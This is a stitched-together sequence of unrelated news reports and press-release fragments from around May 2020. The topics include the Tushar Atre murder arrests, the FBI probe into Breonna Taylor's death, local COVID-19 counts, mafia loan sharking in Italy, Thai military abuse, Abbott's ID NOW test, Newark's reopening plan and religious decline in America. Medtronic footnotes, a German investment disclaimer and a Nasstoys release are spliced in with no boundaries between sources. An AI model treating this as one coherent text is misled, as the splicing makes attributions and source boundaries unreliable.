Medtronic plc ( www.medtronic.com ), headquartered in Dublin, Ireland, is among the world's largest medical technology, services and solutions companies - alleviating pain, restoring health and extending life for millions of people around the world. Medtronic employs more than 90,000 people worldwide, serving physicians, hospitals and patients in more than 150 countries. The company is focused on collaborating with stakeholders around the world to take healthcare Further, Together.

Any forward-looking statements are subject to risks and uncertainties such as those described in Medtronic's periodic reports on file with the Securities and Exchange Commission. Actual results may differ materially from anticipated results.

Android is a trademark of Google LLC.

-end-







1 Arunachalam S, et al. Poster presented at ADA 2019. 79th Scientific Sessions. June 7th-11th. San Francisco, California. #939-P; 802 matched subjects with alerts enabled in Sugar.IQTM app vs. without Sugar.IQ app, TIR with/without Sugar.IQ app: 63.4%/59.3%; avoidance of low with/without predictive alerts: 65%/36%; avoidance of high with/without predictive alerts: 44%/11%.

2 Guardian Connect SSED, page 20, table 6: Glucose Missed Detection Alert Performance Calibrating Every 12 Hours

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Public Relations

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California authorities revealed on Thursday that two of the four suspects believed to have killed a millionaire cannabis tycoon Tushar Atre, worked at the victim's marijuana business.

The four arrested are: Kurtis Charters, 22, of Lancaster, California; Stephen Nicolas Lindsay, 22, of Burbank, California; Kaleb Charters, 19, of St. Clair Shores, Michigan; Joshua James Camps, 23, of Lancaster, California.

All were charged with kidnapping, murder and robbery after their Tuesday arrests in the two states.

Scroll down for video

During a Thursday press conference with the Santa Cruz County Sheriff's Office, Lt. Brian Cleveland shared that Kaleb Charters and Stephen Nicolas Lindsay worked for Atre's cannabis company, Interstitial Systems.

In addition to those two, Kurtis Charters, 22, of Lancaster, California (left) and Joshua James Camps, 23, of Lancaster, California (right) were also arrested for kidnapping Atre and leaving his dead body in his girlfriend's white BMW SUV

During a Thursday press conference with the Santa Cruz County Sheriff's Office, Lt. Brian Cleveland shared that Kaleb Charters and Stephen Nicolas Lindsay worked for Atre's cannabis company, Interstitial Systems.

'Dozens of people knew and worked for Tushar. Their names came up early,' Cleveland said. 'We were able to gather more and more information on this group.'

Sheriff Jim Hart added: 'We had a huge suspect pool that we had to narrow down. We have the right people, we have compelling evidence. This man was sleeping in his home, people entered the home, kidnapped him, and murdered him.'

Kaleb and Kurtis Charters are brothers.

Atre was kidnapped on October 1, 2019, by three assailants at his Pleasure Point home

Atre was kidnapped on October 1, 2019, by three assailants at his Pleasure Point home. He was forced into his girlfriend's white BMW SUB and driven to a property he owned in the Santa Cruz Mountains where he operated his cannabis manufacturing facility.

He was forced into his girlfriend's white BMW SUB and driven to a property he owned in the Santa Cruz Mountains where he operated his cannabis manufacturing facility. Atre was then killed

Just hours later, he was found shot to death in the BMW on the 24000 block of Soquel San Jose Road.

Cleveland shared that the motive was robbery.

'This was a senseless crime. These people wanted monetary gain,' Cleveland said. 'They were there to take monetary items from Tushar. They were armed with a rifle. This was a planned event.'

It was not explained what transpired between the time Atre was kidnapped and killed. It was also not revealed which suspect pulled the trigger.

Private citizens raised a $200,000 award for witnesses as authorities investigated the killing. An eventual release of surveillance footage showed three men approaching Atre's home on the night of the murder. The men in the video could be seen holding a large duffel bag and a firearm.

Sheriff Hart said that cracking the case took 'vigilance' and 'resilience. The surveillance footage and tips weren't enough to identify the suspects, Cleveland added.

An eventual release of surveillance footage showed three men approaching Atre's home on the night of the murder. The men in the video could be seen holding a large duffel bag and a firearm

'We butted up against a lot of closed doors over the last seven or eight months. And every time that happened, our investigators found somewhere else to go with this case. This case was solved by outstanding police work being supported by a lot of different groups. I'm extremely proud of the work our investigation teams did. All of that work has culminated into bringing four people who did a very awful thing to justice,' Hart said.

Kaleb Charters is being extradited to California, while the other three arrested men are behind bars in the Santa Cruz County Jail with no bail.

Atre was the CEO of website design company Atrenet, but he had just launched a licensed cannabis manufacturing company, Interstitial Systems, before he died.

His girlfriend, Rachael Emerly, paid tribute to Atre in a Wednesday instagram post.
Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann.
Breonna Taylor FamilyBy CHRISTINA CARREGA, ABC News



(LOUISVILLE, Ky.) -- The FBI in Louisville, Kentucky, has opened an investigation into the police-involved shooting death of front-line worker Breonna Taylor.



Taylor and her boyfriend, Kenneth Walker, were sleeping inside their Springfield Drive apartment on March 13 when officers with the Louisville Metro Police Department attempted to execute a "no-knock" search warrant.



Three plainclothes officers opened Taylor's front door and "blindly" opened fire into their apartment, according to a wrongful death lawsuit filed in April by Taylor's mother, Tamika Palmer.



Taylor, a licensed EMT, was shot at least eight times and died.



"The FBI will collect all available facts and and evidence and will ensure that the investigation is conducted in a fair, thorough and impartial manner. As this is an ongoing investigation, we are not able to comment further at this time," said Special Agent in Charge Robert Brown in a statement on Thursday.





Due to a number of media requests, FBI Louisville is issuing the following statement. pic.twitter.com/i64rb9DW2z  FBI Louisville (@FBILouisville) May 21, 2020

Taylor was accused of accepting USPS packages for an ex-boyfriend who police were investigating as an alleged drug trafficker and used her address, according to the warrant.



The police said they knocked several times before using a ram to open the door and were allegedly met with gunfire. Walker said he called 911 before firing one shot from his licensed firearm.



Walker, 27, was charged with shooting Sgt. Jonathan Mattingly in the leg.



Jefferson County Attorney Tom Wine said on Friday that while Mattingly's injury was not a result of "friendly fire" he agreed to dismiss Walker's charges pending indictment.



"I believe additional investigation is necessary," said Wine at a press conference. "I believe the independent investigation by the attorney general's office of Kentucky, FBI and U.S. attorneys office must be completed before we go forward with any prosecution of Kenneth Walker and if after those reviews we believe there is sufficient evidence to present to the grand jury we will do so."



Mattingly and Officers Brett Hankinson and Myles Cosgrove were placed on administrative reassignment pending an investigation and are named as defendants in the lawsuit. An investigation is also being conducted by the Louisville Metro Police Department's Public Integrity Unit.



"Kenneth Walker and Breonna Taylor did everything right the night police ambushed their home, killing Breonna," said attorney Ben Crump on Friday. "While dismissing the charges is the right thing to do, it comes more than two months after Breonna was killed and Kenneth was arrested...Until everyone involved is held accountable and the full truth of what happened that night is revealed, justice for Kenneth and Breonna is incomplete."



Louisville Police Department Chief Steve Conrad said at a press conference after the shooting the officers who worked with their criminal interdiction unit did not wear body cameras.



Conrad announced his retirement on Facebook Thursday after a "40-year career in law enforcement" but will continue to work until June 30 on administrative duties. Col. Rob Schroader will come on as the interim chief on July 1.



"You all are weathering a lot right now and I know how challenging this is. Approach this as we approach all our struggles  as a team. Look out for each other," wrote Conrad on the Facebook post. "Show compassion to the community, even when it might not be shown to you."



Palmer's attorneys Ben Crump, Sam Aguiar and Lonita Baker saw Conrad's announcement as a "resignation."



"[It] was a significant step forward in getting justice for Breonna Taylor, her family, and the city of Louisville. But this is just the beginning of that journey," the attorneys said in a joint statement. "We look forward to further investigation, including by the FBI, into the chain of events that led to Breonnas tragic and preventable death."

Copyright  2020, ABC Audio. All rights reserved.
NEW LENOX, IL  Silver Cross Hospital in New Lenox reported a slight increase of coronavirus inpatients at the hospital when compared to last week, according to data provided to Patch. As of Thursday, the hospital told Patch it has 33 patients who have tested positive for the coronavirus and 12 persons under investigation.



All 45 patients continue to be cared for in isolation.

While cases did increase slightly compared to last week's data, cases fluctuate from day-to-day.

Over the past several weeks Patch has been asking Silver Cross for patient counts every week, which can be seen below.

Date Number of positive patients

and persons under investigation May 21 45 total (33 positive, 12 under investigation) May 14 32 total (23 positive, nine under investigation) May 7 51 total (36 positive, 15 under investigation) April 29

64 total (52 positive, 12 under investigation) April 22 67 total (48 positive, 19 under investigation) April 15 69 total (56 positive, 13 under investigation)

The hospital also recently started offering severe coronavirus patients convalescent plasma therapy, which is a clinical trial treatment through the Mayo Clinic. According to the hospital, the treatment uses antibodies from plasma donated by individuals who have recovered or are in the process of recovering from the coronavirus. The plasma is then transfused into patients currently fighting the virus. The nationwide study is led by researchers at the prestigious Mayo Clinic in Rochester, Minnesota.

Illinois Coronavirus Update May 21 Don't miss updates in New Lenox as they are announced. Sign up for Patch news alerts and newsletters.



The first patient received their treatment at the hospital on April 28. Director Of Marketing and Community Relations Debra Robbins told Patch that 16 patients have now received convalescent plasma as part of the ongoing clinical trial.

If someone is interested in finding out if a friend or family member with the coronavirus is eligible for the treatment, they should discuss the protocol with the doctor who is treating them and to visit this website for more info, Robbins said.

Story continues

Last week, the hospital resumed elective surgeries and procedures. This week, Robbins told Patch the hospital will resume normal hours at its Outpatient Testing Center on Tuesday. The Silver Cross Sleep Disorders Center also reopened this week.

"We are so excited to once again be able to care for our community in this way. As always, patient safety continues to be our No. 1 priority. We are here for you when you need us," Robbins said.



Data on recoveries and deaths at specific hospitals is not available through health authorities.





This article originally appeared on the New Lenox Patch
Six more COVID-19 cases were reported in Puducherry on Friday, pushing the tally of the number of active cases up to 23.

Of the six, two were women, three were men and a nine-year-old boy.

One woman (43) had returned to Puducherry from Chennai and been admitted to the Indira Gandhi Government medical college hospital after she tested positive for the pandemic, Health Minister Malladi Krishna Rao told reporters.

The other woman (46) was now in quarantine in Chennai after she tested positive for the infection. Although she is in Chennai she is enlisted as a patient in the number of cases of Puducherry region.

The boy's father, hailing from neighbouring Villianoor, is already an active case and has been taking treatment here since the last few days, director of Health and Family Welfare S Mohan Kumar told PTI



The other three patients aged between 20 and 34 belong to the outskirts of Puducherry.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
NEW YORKAdult products manufacturer Nasstoys is offering its thanks to all of its e-commerce and retail customers for their support during the COVID-19 global pandemic.

Over the past several months, Nasstoys has made customer service and product availability a priority, maintaining a fill rate of 98 percent of its orders.

We realize that being able to provide exceptional service to our customers during this time of uncertainty has not only helped their businesses, but it has helped Nasstoys as well, CEO Elliot Schwartz said. We know some retailers are in the process of reopening or expanding their business services and hours, and we want them to know that Nasstoys will remain committed in our continued support for them.

Nasstoys affirmed its dedication to quick response time to customer needs and said it is using its 40-plus years of experience to support its customers now, when they need it the most.

We are constantly striving to anticipate the needs of our customers and are using our own comprehensive data on purchasing patterns to ensure that our fill rates remain at 98 percent or above, Schwartz said. As always, I am always willing to take calls personally at (201) 496-1687 or I can be reached at [email protected].

Nasstoys is known for its high-quality and luxury product collections, such as Vibes of New York, Devine and Commander, at affordable prices while maintaining high standards over the years.

In its announcement, the company assured its partners and customers that its entire team is doing everything within their control to support the industry, while protecting overall employee safety.

To place an order or download product images, dimensions, videos and marketing materials, visit www.nasstoys.com or contact [email protected] to schedule an online product training session.
Members of the Italian Armed Forces in protective gear disinfect the area outside the Cathedral of Naples - Shutterstock

For a desperate businessman drowning in debt and facing the loss of his restaurant, it was an offer too tempting to turn down.

Having been refused help by the bank but desperate to keep his business alive, 50-year-old Stefano accepted a loan of 20,000 from shadowy friends of friends.

With the injection of cash, he was able to pay his five employees wages and keep afloat his restaurant, in the town of Foggia in the southern region of Puglia.

But it was not long before he realised the nature of the deal he had entered into - two weeks later, the friends came back to tell him that with interest, he now owed them 50,000.

It was a textbook mafia operation - one which is likely to be replicated many times over as the coronavirus pandemic plunges Italy into a deep economic crisis.

Italian Army And Navy Swabs At Nursing Home In Sardinia - Getty Images Europe

After two months of lockdown, the economy is predicted to contract by 10 per cent this year and thousands of businesses are facing bankruptcy.

There will be rich pickings for the loan sharks working for Italys mafia organisations, from the Camorra in Naples to Cosa Nostra in Sicily and the Ndrangheta in Calabria, the toe of the Italian boot.

The mafia clans know full well that a person who needed to borrow 20,000 has no way of paying them 50,000. Its an impossible sum, set deliberately high, Marcello Cozzi, a Catholic priest who runs a charity that helps the victims of usury, told The Telegraph.

They know he cannot get come up with the money. Instead, they are looking to take over his business. Then theyll use it to launder money. Often the owner is allowed to stay on as an employee. Thats the way it works.

Loan sharking is nothing new for Italys mafia networks. But it is about to get a lot more commonplace as the fall-out from the pandemic, which killed more than 32,000 people in Italy, threatens to create hundreds of thousands of jobless.

Story continues

Ordinary Italians are having to forego rent and mortgage payments just to put food on the table for their children.

Some struggle to pay for the wi-fi that their kids need to access distance learning, with no prospect of schools reopening until September.

Childcare employees protest in Piazza Castello city square in Turin - Shutterstock

The mafia has been involved in loan-sharking for 20 or 30 years but right now I have the impression that it is going to explode in scale, said Father Cozzi, head of the Anti-Usury Foundation.

Unlike many business owners who find themselves in the grip of the mafia, Stefano did not meekly give up his business. Instead, with the help of Father Cozzi, he contacted the police.

An investigation is now underway into the attempted extortion. The friends who leant him the money do not yet know that he has gone to the authorities. When they find out, he is likely to be in danger.

I understood straightaway that I had made a huge mistake, said Stefano, who is married with two children.

It risked destroying everything that I had worked so hard to achieve. I feel ashamed but in the end, I said enough.

This case is typical, said Anna Sergi, a criminologist and mafia expert at the University of Essex.

The mafia targets these types of small businesses because sole owners are easy to control. Loansharking is a form of extortion. The point is not to make money from the loan, but to acquire the business by making impossible demands on the repayment.

Businesses are not only used as a front for laundering illicit revenue from drug trafficking and other criminal activities.

They can also lend an air or respectability and normality to the local mafia clan.

The less assuming the business, the better. There are plenty of mafia bosses who have respectable day jobs. A boss from the Ndrangheta in Calabria worked in a laundromat, said Dr Sergi. You can establish yourself outwardly as just an ordinary guy.

A view shows a women's clothing shop, on which placards read "Everything at 70 percent, final closure on June 15" - AFP

As Italys recession begins to bite, there is alarm over the threat posed by organised crime to hard-working businesses struggling to pay wages, bills and rent.

The crisis offers mafia clans an opportunity to carry out loan sharking activities and infiltrate crisis-hit businesses with the aim of laundering money, according to the Bank of Italy.

The Italian governments Covid-19 taskforce has warned that the hospitality and tourism sectors are particularly vulnerable because they are facing a lack of liquidity that will expose them to loan sharking.

Business owners who refuse or fail to pay the loan sharks risk broken legs, their dogs having their throats cut, their daughters threatened with rape, being beaten up, according to Roberto Saviano, a mafia expert whose best-selling book Gomorrah investigated the Camorra in Naples.

The pandemic and the governments incapacity to handle it are exposing the entire economic system to a crisis, the extent of which we have not yet comprehended, he wrote in a recent essay for La Repubblica newspaper.

The number of criminal offences has plunged during Italys lockdown  the only crime to have increased is usury, according to the interior ministry.

In the first three months of this year there was a 10 per cent increase in the crime of usury nationwide and in some regions such as Puglia and Campania it was up by 15 per cent.

A national anti-usury network, the Consulta Nazionale Anti-Usura, reports that requests for help have increased by 100 per cent in the last two months.

Luciana Lamorgese, the minister of the interior, has appealed to businesses who find themselves in difficulty not to resort to the mafia but to turn to the State.

Entrepreneurs who denounce approaches by the mob and help the police with investigations are entitled to ask for money from the National Anti-Racket Fund.

But like many aspects of Italian government, disbursement of the funds can be slow and tangled in red tape.

Were trying to speed up the processing of requests so that we can give a response to those who find themselves in difficulty, said Annapaola Porzio, the head of the agency.

Its undeniable that the process is slow, at a time when this help can mean the difference between life and death for hundreds of small businesses.

A volunteer cashier works at the emporium of solidarity of the diocesan Caritas of Rome to Casilino Bridge, a supermarket for families in need - Corbis News

Earlier this month, police conducted a series of raids in which they arrested 91 alleged mafiosi, accusing them of targeting companies hit hard by the crisis.

The raids were conducted by hundreds of police officers in Palermo, Sicily, as well as in northern Italy  testament to the mobs interest in Italys wealthiest regions.

The suspects, from Sicilys Cosa Nostra, were accused of crimes ranging from extortion and fraud to money laundering.

Look, we pay cash, suspects told business owners in intercepted exchanges, according to Francesco Lo Voi, chief prosecutor in Palermo.

The government has pledged a 55 billion package to help families and businesses weather the economic storm brought about by Covid-19.

But there are complaints that the money has been slow to arrive and government aid is itself highly vulnerable to being skimmed off by organised crime.

In the midst of the pandemic crisis, we have some people who are flush with cash while the State is struggling to help business, said Dr Sergi.

If you are a business that had problems before the pandemic, now you are really at the end of the line. We saw loan sharking in the 2008 financial crisis and now we are seeing it again. But this time it could be much worse.
Bangkok, Thailand  Just hours after Yutthana Saisa was detained in northeastern Thailand last month, the 33-year-old was dead.

Picked up with his younger brother on suspicion of drug crimes, seven soldiers took the two men to a small Buddhist temple nearby for questioning.

Reports say the seven men allegedly subjected him to a violent interrogation in an attempt to force a confession, inflicting wounds that would kill him.



This case shows the use of extreme violence, including abduction, says Pornpen Khongkachonkiet, the director of Cross Cultural Foundation, an organisation working on justice and human rights monitoring in Thailand.

Thailands military has long faced allegations of abuse, including its treatment of young recruits who are conscripted into the armed forces in a yearly draw. It has long denied the charges, but Yutthanas brutal death has reignited questions over whether the military has a systemic problem with abuse.



Pornpen has been researching military abuse for decades. She says the military has ramped up anti-drug operations since the coup in 2014, a move she thinks is dangerous because it raises further the risk of excessive use of force.



Its not only a culture of violence, but a culture of impunity, she said.

The Thai military did not respond to multiple requests for comment, but a police investigation has been launched to determine what happened to Yutthana and seven soldiers suspected of involvement face a military probe.

Young men are drafted into the military in an annual lottery [File: Athit Perawongmetha/Reuters]

Local media reports say the military also gave Yutthanas father compensation of 10,000 Thai baht ($313) and paid for his sons funeral, while the soldiers suspected of playing a role in Yutthanas death were ordered to ask for the familys forgiveness.

Toxic training

Analysts say the violence originates inside the militarys own toxic training programmes where officers routinely prey on lower-ranking cadets to demonstrate their power, creating an atmosphere that enables abusive behaviour.



Chatri, a 27-year-old student who preferred to use a pseudonym for fear of reprisals, recalled an overwhelming sense of anxiety as soon as he walked into the army barracks that would soon become his home.



Only a few weeks before, he had been looking forward to continuing his education with the goal of becoming a social worker. But Chatris life changed when he was forced to enlist after he was drawn in the lottery for Thailands military draft.

When I went into the military, I knew Id have to be quiet, he told Al Jazeera. My life was taken away.

Chatri is an openly gay man.



When people see me, they can recognise that Im gay. So I decided not to hide myself.



But that decision had consequences, he explained.



The moment he realised he would be a target was when three non-commissioned officers told him to strip naked in front of them on the first day of training. The abuse that followed was so bad that over the next few months he considered suicide as a way to escape the torment.



Although conscripts often recount stories of physical violence and torture, Chatri was never beaten. Instead, he was abused sexually by seniors and non-commissioned officers.



Amnesty International also recently uncovered abuse inside the military. Their new report, We Were Just Toys to Them, found that military conscripts faced harassment, beatings and sexual abuse. Researchers found a barrage of physical violence, humiliation and sexual abuse that often amounts to torture, taking place within military training programmes.

The military has long played a prominent role in Thai life, with the armed forces launching numerous coups [Stringer/AP Photo]

For Chatri, the report brought back vivid memories.



Officers would touch him inappropriately and approach me whenever they wanted, Chatri said. They would normalise it.



On one particularly harrowing night, he was abused by five trainers. On another occasion, he was forced to strip naked.

I remember thinking at that moment: Why is this happening to me? I could not have imagined that my life would be like that, he said. I was so afraid. But If I didnt do it, then it could be worse.



After three months in training, Chatri called his sister and asked her to use their family connections to get him out of the training programme as soon as possible. He was lucky, he said. Most of the other young men did not have that option.

Calls for investigation

Human Rights Watch has long monitored the militarys culture of abuse and is now calling on authorities to investigate Yutthanas death. The rights group says the Thai government should prevent further military abuses by revoking broad powers that allow military personnel to arrest, detain, and interrogate suspected drug users and dealers.



Thailand has a long record of violent war on drugs, most notably during the Thaksin government where more than 2,800 people were killed, said Sunai Phasuk, Thailand researcher at Human Rights Watch. Now PM Prayuth (Chan-ocha) is following those bloody footsteps.

Thaksin was notorious for a ruthless anti-drug campaign that allegedly resulted in thousands of state-sanctioned killings in 2003. Researchers say many of those who died were civilians and not involved in the drug trade.



Sunai added that Thailands anti-drug laws are being used as a tool for the military to use abusive tactics when conducting raids. He said reports of extrajudicial killing, torture, and arbitrary arrests were piling up across the nation and had been going on without accountability. He pointed to a 2017 case where a teenage activist was shot and killed by soldiers for alleged drug possession and security footage went missing, as one example.



In recent cases, as with Yutthana, the military has offered financial compensation to the victims or their families in exchange for their agreement to not pursue criminal prosecution. Even when families do decide to pursue justice, police investigations are either hampered, shoddy, or covered up entirely, Sunai said.



And all these incidents continue to occur despite the fact that Thailand is a party to the United Nations Convention against Torture and Other Cruel, Inhuman or Degrading Treatment or Punishment.









After reflecting on the abuse, Chatri still feels like the situation could have been worse.



It was bad, but my training unit is still better than others because no one died, he said.



It is not uncommon for military cadets to be found dead under mysterious circumstances because corporal punishment and dangerous hazing rituals are commonplace in cadet school, say human rights watchdogs. Although it is difficult to determine the exact number of deaths in any given year, analysts say multiple cases occur every year based on local media reports and family complaints.



And although Chatri has now left the armed forces, he fears for the other young men now taking his place.



We need to end this kind of culture, he said, his voice thick with emotion. We need to stop giving them so much power.


(Photo : REUTERS/Edgar Su) Nasal swab test kits are pictured at a new medical facility set up for testing migrant workers residing in dormitories for the coronavirus disease (COVID-19), in Singapore May 10, 2020.

After receiving scrutiny over its ID NOW rapid test earlier this month, Abbott Laboratories has bounced back with an analysis of data from an on-going study that shows their kit is highly accurate to test for the coronavirus.

Abbott's data has shown that the test has nearly 95% accuracy in detecting positive cases while producing results in minutes, compared with two other laboratory tests. These results contradict other studies that question the test's accuracy.

The ongoing study has analyzed samples from 256 patients and then compared the results to a test created by the US Centers for Disease Control. According to the partial data from the said study, the ID NOW Rapid test showed that it detected the virus with 94.7% accuracy while giving 98.6% correct negative results, according to Bloomberg.

The pharmaceutical company said that data from its study and two others suggest that ID NOW rapid test works best on patients who are tested after the onset of the illness' symptoms.

Last week, the US Food and Drug Administration (FDA) warned that Abbott's speedy coronavirus diagnostic test could be inaccurate and give false-negative results. The FDA also said that early data suggested that it may sometimes fail to detect the illness.

At the same time, researchers from New York University said that the ID NOW test could be missing from a third to nearly half of positive cases. This test, however, was not yet peer-reviewed.

In contrast, Abbott was quick to defend itself saying that the NYU study involved a small number of patients, and the ID NOW test was not used according to how it was intended to be which may have led to the low-efficiency rate.

Meanwhile, the FDA said it will continue to review data on the test kit's accuracy while Abbott agreed to conduct studies on its product. Each of the studies will include at least 150 COVID-19-positive patients in various healthcare settings.

Abbot's ID NOW coronavirus rapid test kit shows promising results after last week's scrutiny

The ID NOW coronavirus rapid test kit was developed by Abbott Laboratories and promised to deliver results within 5 to 13 minutes.

According to a report by Tech Times, Abbott has already shipped more than 1.8 million test kits since the FDA issued an emergency use authorization to fast-track its approval three days after President Donald Trump called it a game-changer during a White House event.

Last week, the FDA announced that patients who received negative results using the ID NOW rapid test may need to go through a more sensitive test to confirm the results. The agency also said they will continue to study available data while working with Abbott to have additional methods to analyze the results.

The FDA also vowed to be transparent with any information, while Abbott promised to send letters advising those who received negative test results to undergo a confirmatory test.

The pharmaceutical company's shares fell 1.8% to $92.16 in New York last week after it started up 6.1% early this year.

Read also: Drug Trafficker Sentenced to Death via Zoom Call During Coronavirus Lockdown

 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission.
The governor eased coronavirus restrictions to allow retail stores to reopen this week for curbside pick up, but Newark Mayor Ras Baraka wasnt pleased with what he saw within his city.

People were trying on sneakers and pants on the sidewalk, Baraka said, and getting their nails done outdoors - even though Gov. Phil Murphys executive orders have not allowed salons to reopen yet.

This is the most bizarre thing you could imagine," Baraka said Thursday. But when people dont have any real direction on how to get these things accomplished, they take matters into their own hands. And if you dont let the municipalities actually govern, then you get these things.

Now, retail businesses in Newark will have to fill out applications with the city showing how they plan to set up remote payments and do curbside pickup. The applications must gain approval from the city before the business can reopen, Baraka said.

Its part of the citys own three-phase reopening plan, which was unveiled Thursday during a press conference at the New Jersey Performing Arts Center. The city will send out letters to businesses requesting reopening plans in the first phase, which is set to start June 1. Each phase will be reevaluated every 14 days.

Specifics for only the first phase of the plan were outlined Thursday. Details of the other phases will be laid out in the future using the citys risk assessments, which always recommend wearing face coverings in public.

The governor has already devised a statewide reopening plan, but the mayor - a fellow Democrat and close ally to the governor - signaled he wasnt entirely happy with it. Baraka noted that Murphy has been facing increased pressure to reopen certain sectors more quickly, but said mayors from around the state should have input.

We dont have a problem with curbside, Baraka said. We have a problem with the way curbside is being done and the fact that we dont have input on how to make that happen for us is problematic. I think we cannot make broad kind of proclamations about a state that is so wide apart.

While the governor has also created a statewide task force to help devise a reopening plan, the City of Newark has started its own. The Newark Reopening and Recovery Strikeforce consists of more than a dozen local leaders and is led by Newark Alliance CEO Aisha Glover and the mayors chief of staff, Amiri Baraka, Jr.

Its not coming out of a vacuum," said the mayors chief of staff, who is also his brother, of the citys reopening plan. We have a lot of professionals, a lot of industry folks on the task force. The mayor made it very clear that he didnt want city hall folks to actually direct it. So we got the ideas from professionals and Prudential, from a lot of our thought partners from around the city.

Newark Alliance CEO Aisha Glover, left, and mayor's chief of staff, Amiri Baraka Jr., will be co-chairs of the Newark Reopening and Recovery Strikeforce.Rebecca Panico | NJ Advance Media for NJ.com

Baraka said the needs of one municipality in Essex County may be vastly different due to the infrastructure and socioeconomic status of residents. The most paramount need in Newark, Baraka said, is to protect the lives of its residents.

An estimated 50% of residents in Newark are African American, according to Census data, and Blacks have been contracting and dying from the virus at alarming rates. There have been 549 deaths from COVID-19 in Newark, although deaths and new infections have been declining, the mayor said.

The state only has race and ethnicity data for 43% of COVID-19 patients, but figures from early May showed African Americans accounted for 18.7% of positive cases in New Jersey but make up just 13.5% of the population. White New Jersey residents, in contrast, make up 36% of cases but account for 54.9% of the states population.

A reopening plan for Newark, Baraka said, should take those figures into account. He said people in other areas around the state show concern for the economy, but voice lesser care for the minority populations that have been dying from the virus.

The reality is, there are people that are not making. Theyre not making it," Baraka said. "And unfortunately, those people look like me.

Below are the details of the first phase of Newarks recovery plan:

All faith-based services will occur virtually or via teleconference

Recreation centers, parks and playgrounds will remain closed

Block parties and special events will remain on hold

Information centers will be established in each ward and 311 will be expanded to include a dedicated COVID-19 information hotline

A technology task force will be created to develop a sustainable citywide strategy for universal access to Wi-Fi and the hardware necessary for remote learning

An isolation and quarantine plan will be developed for those who cannot create one themselves

Guidance will be provided around emotional hurdles and fears related to medical mistrust

Letters will be sent to all businesses requesting plans to ensure the safety of their employees and the general public

City licensing, approvals and permitting processes will be adjusted to streamline what can be expedited and waived

Our journalism needs your support. Please subscribe today to NJ.com.

Rebecca Panico may be reached at rpanico@njadvancemedia.com. Tell us your coronavirus story or send a tip here.
Unless families get more support, religions in America could face continuing decline: AEI fellow

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Unless families get more support and fertility rates are increased among the faithful, religious communities in America could continue on a path toward terminal decline, says economist and researcher Lyman Stone.

If this is about household dynamics, if this is about families, if this is about babies, as I am arguing it is, could society support parents more? Could we change this? And could we do something that would be justifiable in a pluralist and liberal society? As were not just going to force people to pray in public schools or something, the researcher said.

Stone, who is an adjunct fellow at American Enterprise Institute, a Washington D.C.-based think tank, and a research fellow at the Institute for Family Studies, made the argument during a webinar Thursday, billed Religiosity in America: Trends of the past and options for the future.

At the beginning of his presentation, Stone made it clear that while current indicators point toward a terminal decline of religion in America, it doesnt have to continue on that path.

Its rapidly heading into terminal decline,  a kind of death, Stone said of religion to webinar participants, including panelists Daniel Cox, a research fellow in polling and public opinion at AEI, and Ross Douthat, a conservative political analyst, author and New York Times columnist.

Certainly there is plenty  I have written that can feed into that narrative, but by the time I get to the end I actually want to challenge this view that religiosity in America is necessarily going to follow this terminal downward slope, he said.

Stone, who is a former international economist at the U.S. Department of Agriculture, highlighted research showing that even though the share of Americans who say they are affiliated with some kind of religion or attend church weekly are all trending downward, America is still more religious today than during the late 18th and early 19th centuries.

More Americans today, however, identify with no particular religion than at any period in the nations history. Only 65% of Americans now identify as Christian, while those who identify as religiously unaffiliated swelled to 26%, a recent study from the Pew Research Center noted.

The biggest changes in religious behavior, said Stone, is not coming from adults turning their back on faith but differences in religious outlook between generations that are largely influenced by the family life of those generations.

In older generations, Stone argued, data show that families tended to be more religious. He also pointed to studies showing that households that have more at home religious family activities tend to have children who are more likely to remain religious later in life.

The reverse is also true.

And younger generations, he said, are losing faith as teenagers and dont seem to be returning to it as previous generations did.

There is still no evidence of continuing adult secularization. Rather, people are at their least religious between the ages of 18 and 22, and on average they either stay the same or get slightly more religious over the rest of their life, he said.

Declining religion is not about adults making a decision to leave religion. Its not about the deeply considered rational choices of people whove decided to leave the Church. The vast majority of declining religiosity in America is happening to 13-year-old's, 14-year-old's, 16-year-old's. Its happening to minors while they are at home, Stone argued.

Research published by the Barna Group last fall from Ryan Burge, an assistant professor of political science at Eastern Illinois University and pastor of First Baptist Church of Mt. Vernon, Illinois, pointed to related struggles among younger generations raised in the church who arent typically returning to church when compared with members of the Baby boomer generation born between 1945 and 1964.

In Burges analysis of the boomer generation, four different five-year cohorts reflected the trademark hump supported by traditional social science when each birth cohort moves into the 36-45 age range. Thats exactly what the life cycle effect would predict: People settle down, they have kids, and they return to church.

When he examined data for the younger cohorts, 1965-1969, 1975-1979 and 1980-1984, the data show a fading of the life cycle effect. While the hump is still there in the cohort measured from 1965-1969, a shift in the life cycle effect begins to emerge by around 1970.

That trend line is completely flatthose people didnt return to church when they moved into their 30s. You can see the beginnings of a hump among those born between 1975 and 1979, but in the next birth cohort the hump is actually inverted. That trademark return to churchwhich pastors and church leaders have relied on for decadesmight be fading, Burge said.

For anyone concerned with church growth, Burge says this should sound an alarm.

In his presentation, Stone noted that across all generations, religiosity tended to dip during the secondary years but because older generations were more religious than later generations, it could account for their higher reports of continued religiosity.

He suggested that a secondary school education system that is more supportive of religion was found to be important factors in maintaining religiosity as well as having two parents of the same religion.

He also argued that low fertility rates have resulted in a significant impact on the growth of Americas religious community.

For virtually all religious groups the fertility is the overwhelming source of growth, he said.

A share of people born into any religious tradition is going to leave it, Stone said, and if fewer people are born into that tradition the population that is left in that community will naturally grow smaller.

Ultimately, what we see is as the absolute size of a religious community shrinks, the household environment for transmission becomes more difficult which means the only small religions that survive are those with very aggressive norms for household transmission. That is with very strong practices of household religious faith, he said.

As a result, he said the data suggest that churches could continue to hemorrhage followers unless steps are taken to support families.

Policy positions he said that could help are child allowances that would encourage people to have more children and ending marriage penalties.

Right now we have massive marriage penalties baked into the welfare code particularly for working class households, Stone said.

He also recommended support for school choice that would help parents find schools for their children that support their values and would also help because parents find it harder to find schools that support their values.

Zoning laws that allow easier establishment of churches and the lowering of housing costs could also help, Stone said.
Congress leader Sanjay Jha said on Friday he has tested positive for the coronavirus disease (Covid-19) and will self-quarantine for the next week or so.

